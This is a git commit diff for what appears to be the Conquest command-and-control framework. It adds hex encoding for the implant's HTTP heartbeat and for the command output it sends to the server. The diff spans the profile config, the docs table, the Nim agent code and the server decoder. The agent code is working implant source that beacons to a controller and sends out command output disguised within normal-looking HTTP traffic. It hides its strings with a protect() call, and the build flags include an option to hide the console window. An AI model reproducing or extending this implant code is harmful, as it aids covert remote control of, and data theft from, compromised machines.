Implemented hex encoding for data transformation.

This commit is contained in:
Jakob Friedl
2025-11-08 16:16:15 +01:00
parent b02cc5a331
commit df8453bf1a
5 changed files with 15 additions and 7 deletions

View File

@@ -25,7 +25,7 @@ endpoints = [
] ]
# Defines where the heartbeat is placed within the HTTP GET request # Defines where the heartbeat is placed within the HTTP GET request
# Allows for data transformation using encoding (base64, ...), appending and prepending of strings # Allows for data transformation using encoding (base64, hex, ...), appending and prepending of strings
# Metadata can be stored in a Header (e.g. JWT Token, Session Cookie), URI parameter, appended to the URI or request body # Metadata can be stored in a Header (e.g. JWT Token, Session Cookie), URI parameter, appended to the URI or request body
# Encoding is only applied to the payload and not the prepended or appended strings # Encoding is only applied to the payload and not the prepended or appended strings
[http-get.agent.heartbeat] [http-get.agent.heartbeat]
@@ -119,7 +119,7 @@ lang = [
# Placing this type of data in the body is highly recommended # Placing this type of data in the body is highly recommended
[http-post.agent.output] [http-post.agent.output]
placement = { type = "body" } placement = { type = "body" }
encoding = { type = "none" } encoding = { type = "hex" }
# prefix = "" # prefix = ""
# suffix = "" # suffix = ""

View File

@@ -52,8 +52,8 @@ A huge advantage of Conquest's C2 profile is the customization of where the hear
| --- | --- | --- | | --- | --- | --- |
| placement.type | OPTION | Determine where in the request the heartbeat is placed. The following options are available: `header`, `query`, `uri`, `body`| | placement.type | OPTION | Determine where in the request the heartbeat is placed. The following options are available: `header`, `query`, `uri`, `body`|
| placement.name | STRING | Name of the header/parameter to place the heartbeat in.| | placement.name | STRING | Name of the header/parameter to place the heartbeat in.|
| encoding.type | OPTION | Type of encoding to use. The following options are available: `base64`, `none` (default) | | encoding.type | OPTION | Type of encoding to use. The following options are available: `base64`, `hex` and `none` (default) |
| encoding.url-safe | BOOL | Only required if encoding.type is set to `base64`. Uses `-` and `_` instead of `+`, `=` and `/`. | | encoding.url-safe | BOOL | Only used if encoding.type is set to `base64`. Uses `-` and `_` instead of `+`, `=` and `/`. Default: `false` |
| prefix | STRING | String to prepend before the heartbeat payload. | | prefix | STRING | String to prepend before the heartbeat payload. |
| suffix | STRING | String to append after the heartbeat payload. | | suffix | STRING | String to append after the heartbeat payload. |

View File

@@ -11,6 +11,8 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = protect("none")) case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = protect("none"))
of protect("base64"): of protect("base64"):
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool(protect("http-get.agent.heartbeat.encoding.url-safe"))).replace("=", "") heartbeatString = encode(heartbeat, safe = ctx.profile.getBool(protect("http-get.agent.heartbeat.encoding.url-safe"))).replace("=", "")
of protect("hex"):
heartbeatString = Bytes.toString(heartbeat).toHex().toLowerAscii()
of protect("none"): of protect("none"):
heartbeatString = Bytes.toString(heartbeat) heartbeatString = Bytes.toString(heartbeat)
@@ -103,6 +105,8 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
case ctx.profile.getString(protect("http-post.agent.output.encoding.type"), default = protect("none")) case ctx.profile.getString(protect("http-post.agent.output.encoding.type"), default = protect("none"))
of protect("base64"): of protect("base64"):
output = encode(data, safe = ctx.profile.getBool(protect("http-post.agent.output.encoding.url-safe"))).replace("=", "") output = encode(data, safe = ctx.profile.getBool(protect("http-post.agent.output.encoding.url-safe"))).replace("=", "")
of protect("hex"):
output = Bytes.toString(data).toHex().toLowerAscii()
of protect("none"): of protect("none"):
output = Bytes.toString(data) output = Bytes.toString(data)

View File

@@ -4,7 +4,7 @@
--opt:size --opt:size
--l:"-Wl,-s" --l:"-Wl,-s"
# --l:"-Wl,-subsystem,windows" # Prevent console window # --l:"-Wl,-subsystem,windows" # Prevent console window
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES="511" -d:MODULES="511"
-d:VERBOSE="true" -d:VERBOSE="true"
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -1,5 +1,5 @@
import mummy, terminal, strformat, parsetoml, tables import mummy, terminal, parsetoml, tables
import strutils, base64 import strutils, strformat, base64
import ./handlers import ./handlers
import ../globals import ../globals
@@ -68,6 +68,8 @@ proc httpGet*(request: Request) =
case cq.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none"): case cq.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none"):
of "base64": of "base64":
heartbeat = string.toBytes(decode(encHeartbeat)) heartbeat = string.toBytes(decode(encHeartbeat))
of "hex":
heartbeat = string.toBytes(parseHexStr(encHeartbeat))
of "none": of "none":
heartbeat = string.toBytes(encHeartbeat) heartbeat = string.toBytes(encHeartbeat)
@@ -157,6 +159,8 @@ proc httpPost*(request: Request) =
case cq.profile.getString("http-post.agent.output.encoding.type", default = "none"): case cq.profile.getString("http-post.agent.output.encoding.type", default = "none"):
of "base64": of "base64":
data = string.toBytes(decode(encData)) data = string.toBytes(decode(encData))
of "hex":
data = string.toBytes(parseHexStr(encData))
of "none": of "none":
data = string.toBytes(encData) data = string.toBytes(encData)